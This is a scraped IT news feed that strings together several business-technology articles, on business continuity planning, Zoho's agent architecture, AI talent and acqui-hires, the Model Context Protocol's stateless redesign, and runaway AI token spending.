<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



